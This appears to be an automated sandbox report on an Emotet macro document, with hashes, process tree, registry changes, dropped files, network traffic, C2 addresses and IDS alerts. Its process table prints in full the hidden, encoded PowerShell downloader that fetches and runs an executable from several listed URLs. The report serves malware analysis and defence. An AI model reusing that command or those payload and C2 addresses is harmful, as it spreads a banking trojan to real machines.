download:

b4ut-016421-14475282-15xd-hwrsa

Full analysis: https://app.any.run/tasks/8ad83549-9f95-43e9-880e-c8fadacf1176
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: January 18, 2020, 06:28:56
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
generated-doc
opendir
loader
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Omnis., Author: Paul Laine, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 17 23:48:00 2020, Last Saved Time/Date: Fri Jan 17 23:48:00 2020, Number of Pages: 2, Number of Words: 4, Number of Characters: 29, Security: 0
MD5:

781AE6C1FE75A5C789DF189B1EA93874

SHA1:

99D95A4087A8865B29D3129C9CD16506642A1129

SHA256:

8E230386A57C683435EFACCA74C070D280CFE4F2FFC0636FF3C9011B79DEE1D3

SSDEEP:

6144:yx0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+Wq1cdLOE:yx0E3dxtR/iU9mvUPWOSLOE

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 906.exe (PID: 3048)
      • serialfunc.exe (PID: 3800)
      • serialfunc.exe (PID: 2208)
      • 906.exe (PID: 1948)
    • Connects to CnC server

      • serialfunc.exe (PID: 2208)
    • Emotet process was detected

      • 906.exe (PID: 1948)
    • EMOTET was detected

      • serialfunc.exe (PID: 2208)
    • Changes the autorun value in the registry

      • serialfunc.exe (PID: 2208)
    • Downloads executable files from the Internet

      • Powershell.exe (PID: 3836)
  • SUSPICIOUS

    • Executed via WMI

      • Powershell.exe (PID: 3836)
    • PowerShell script executed

      • Powershell.exe (PID: 3836)
    • Application launched itself

      • 906.exe (PID: 3048)
    • Starts itself from another location

      • 906.exe (PID: 1948)
    • Executable content was dropped or overwritten

      • 906.exe (PID: 1948)
      • Powershell.exe (PID: 3836)
    • Connects to server without host name

      • serialfunc.exe (PID: 2208)
    • Connects to SMTP port

      • serialfunc.exe (PID: 2208)
    • Connects to unusual port

      • serialfunc.exe (PID: 2208)
    • Creates files in the user directory

      • Powershell.exe (PID: 3836)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2580)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2580)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (80)

EXIF

FlashPix

Title: Omnis.
Subject: -
Author: Paul Laine
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2020:01:17 23:48:00
ModifyDate: 2020:01:17 23:48:00
Pages: 2
Words: 4
Characters: 29
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 32
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 25
CompObjUserType: Microsoft Forms 2.0 Form
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
6
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 906.exe no specs #EMOTET 906.exe serialfunc.exe no specs #EMOTET serialfunc.exe

Process information

PID
CMD
Path
Indicators
Parent process
1948--c8768c3dC:\Users\admin\906.exe
906.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
Modules
Images
c:\users\admin\906.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\quartz.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
2208--d6864438C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe
serialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
Modules
Images
c:\users\admin\appdata\local\serialfunc\serialfunc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\quartz.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
2580"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\b4ut-016421-14475282-15xd-hwrsa.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3048"C:\Users\admin\906.exe" C:\Users\admin\906.exePowershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
Modules
Images
c:\users\admin\906.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\quartz.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
3800"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe906.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
Modules
Images
c:\users\admin\appdata\local\serialfunc\serialfunc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\quartz.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
3836Powershell -w hidden -en JABOAGEAaAB4AGIAegB4AG0AbgBzAG0AYgA9ACcARwBiAG0AZABuAG0AZwBoAG4AJwA7ACQAUQBzAGgAaAB0AGwAbgBpAG0AYQBjACAAPQAgACcAOQAwADYAJwA7ACQASgBsAGwAeABpAHkAcwB2AGgAcAA9ACcAUwBiAHAAYgBkAGEAdgBmAHoAZgBnAGgAJwA7ACQASgBhAGUAcAB1AHAAbwByAHUAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUQBzAGgAaAB0AGwAbgBpAG0AYQBjACsAJwAuAGUAeABlACcAOwAkAFAAegBuAGYAbQBqAGMAbwBxAGwAYgBwAGsAPQAnAFkAeAByAHUAcwBsAGwAdwBmAGQAJwA7ACQAVgBvAGQAbABqAHgAcgB6AHEAbQBuAGwAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AdwBlAEIAQwBsAEkARQBOAFQAOwAkAEEAaQB1AHcAZwB4AGMAbgBnAGoAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAGwAdQBlAGQAcgBlAGEAbQAuAGEAbAAvAGMAYQBsAGUAbgBkAGEAcgAvAHIAOAAzAGcAOQAvACoAaAB0AHQAcAA6AC8ALwBtAHkAcABoAGEAbQB0AGgAYQBuAGgAYgBpAG4AaAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAEQAcQAvACoAaAB0AHQAcAA6AC8ALwBzAGYAbQBhAGMALgBiAGkAegAvAGMAYQBsAGUAbgBkAGEAcgAvAEsAMQBhAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBjAG8AbQBlAHQAcAByAGkAbgB0AC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AcQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AagBtAGUAYwBoAGEAbgBpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBkAGQAeQAvACcALgAiAFMAYABQAEwASQBUACIAKAAnACoAJwApADsAJABQAG4AZABmAGUAeABsAGkAPQAnAEMAZAB4AHIAZQBsAGUAYQBvACcAOwBmAG8AcgBlAGEAYwBoACgAJABQAGUAeQBvAGEAdQB5AGcAZgBjAGcAdQB6ACAAaQBuACAAJABBAGkAdQB3AGcAeABjAG4AZwBqACkAewB0AHIAeQB7ACQAVgBvAGQAbABqAHgAcgB6AHEAbQBuAGwALgAiAEQATwBgAFcATgBMAG8AYQBEAEYAYABpAGwARQAiACgAJABQAGUAeQBvAGEAdQB5AGcAZgBjAGcAdQB6ACwAIAAkAEoAYQBlAHAAdQBwAG8AcgB1AGIAKQA7ACQAVwBiAGgAcABtAGgAbABlAGMAPQAnAFoAaABuAGIAbQBnAHcAcgAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAYQBlAHAAdQBwAG8AcgB1AGIAKQAuACIAbABgAEUATgBnAHQASAAiACAALQBnAGUAIAAzADkAMQA0ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAEEAYABSAFQAIgAoACQASgBhAGUAcAB1AHAAbwByAHUAYgApADsAJABQAHYAbgB4AGEAZwBhAHMAZQBwAHgAPQAnAEwAdgBwAHIAcQB6AGQAcQBhAGEAZQBwACcAOwBiAHIAZQBhAGsAOwAkAFkAeQBkAHcAcQB6AGcAbAA9ACcAUABnAGYAZABqAGQAbABiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAcgBxAGYAYQB6AGMAeQBwAHYAagBoAD0AJwBDAHUAYgB0AGgAdwBtAGEAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
2 224
Read events
1 401
Write events
694
Delete events
129

Modification events

(PID) Process:(2580) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:f;;
Value:
663B3B00140A0000010000000000000000000000
(PID) Process:(2580) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2580) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(2580) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(2580) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(2580) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(2580) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(2580) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(2580) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(2580) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1345454142
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2580WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA766.tmp.cvr
MD5:
SHA256:
2580WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF18205D2214565B29.TMP
MD5:
SHA256:
3836Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\12JT0FSS213EKDLHWYJL.temp
MD5:
SHA256:
2580WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
3836Powershell.exeC:\Users\admin\906.exeexecutable
MD5:
SHA256:
1948906.exeC:\Users\admin\AppData\Local\serialfunc\serialfunc.exeexecutable
MD5:
SHA256:
2580WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ut-016421-14475282-15xd-hwrsa.docpgc
MD5:
SHA256:
2580WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:
SHA256:
3836Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:
SHA256:
3836Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39b1a7.TMPbinary
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
51
DNS requests
50
Threats
17

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2208
serialfunc.exe
POST
200
100.6.23.40:80
http://100.6.23.40/FEgP8PvcO
US
binary
148 b
malicious
3836
Powershell.exe
GET
200
185.32.20.6:80
http://www.bluedream.al/calendar/r83g9/
AL
executable
344 Kb
suspicious
2208
serialfunc.exe
POST
200
91.236.4.234:443
http://91.236.4.234:443/uB6B3CXY
PL
binary
148 b
malicious
2208
serialfunc.exe
POST
200
100.6.23.40:80
http://100.6.23.40/vTLBd7HUV
US
binary
1.38 Mb
malicious
2208
serialfunc.exe
POST
91.236.4.234:443
http://91.236.4.234:443/9lrcqOBRf
PL
malicious
2208
serialfunc.exe
POST
200
91.236.4.234:443
http://91.236.4.234:443/uB6B3CXY
PL
binary
148 b
malicious
2208
serialfunc.exe
POST
200
91.236.4.234:443
http://91.236.4.234:443/9lrcqOBRf
PL
binary
3.32 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2208
serialfunc.exe
118.103.125.49:465
mail.ia5.itkeeper.ne.jp
Softbank BB Corp.
JP
unknown
2208
serialfunc.exe
60.36.166.212:465
amail.mail.plala.or.jp
NTT Communications Corporation
JP
unknown
2208
serialfunc.exe
157.205.8.20:110
pop.alpha-prm.jp
Otsuka Corp.
JP
unknown
2208
serialfunc.exe
35.208.94.131:25
mail.omegauae.net
US
unknown
2208
serialfunc.exe
74.125.140.109:465
imap.gmail.com
Google Inc.
US
whitelisted
2208
serialfunc.exe
122.28.35.152:143
mail.sanritsukiki.co.jp
NTT Communications Corporation
JP
unknown
2208
serialfunc.exe
103.241.129.187:25
smtp.kusatsu-setsubi.jp
Yahoo Japan Corporation
JP
unknown
3836
Powershell.exe
185.32.20.6:80
www.bluedream.al
S E L C O M Shpk
AL
suspicious
2208
serialfunc.exe
100.6.23.40:80
MCI Communications Services, Inc. d/b/a Verizon Business
US
malicious
2208
serialfunc.exe
91.236.4.234:443
FHU Climax Rafal Kraj
PL
malicious

DNS requests

Domain
IP
Reputation
www.bluedream.al
  • 185.32.20.6
suspicious
hirukawa-glo.jp
  • 210.224.185.28
unknown
www.he-lios.com
  • 211.1.233.151
unknown
mail.omegauae.net
  • 35.208.94.131
unknown
mail.ia5.itkeeper.ne.jp
  • 118.103.125.49
unknown
mail.outlook.com
unknown
smtp.kusatsu-setsubi.jp
  • 103.241.129.187
unknown
pop3.lolipop.jp
  • 157.7.107.4
unknown
mail.orange.tn
  • 193.95.123.8
unknown
rhythm.ocn.ne.jp
  • 180.37.194.47
unknown

Threats

PID
Process
Class
Message
3836
Powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3836
Powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3836
Powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
2208
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
2208
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
2208
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2208
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
2208
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
2208
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2208
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
No debug info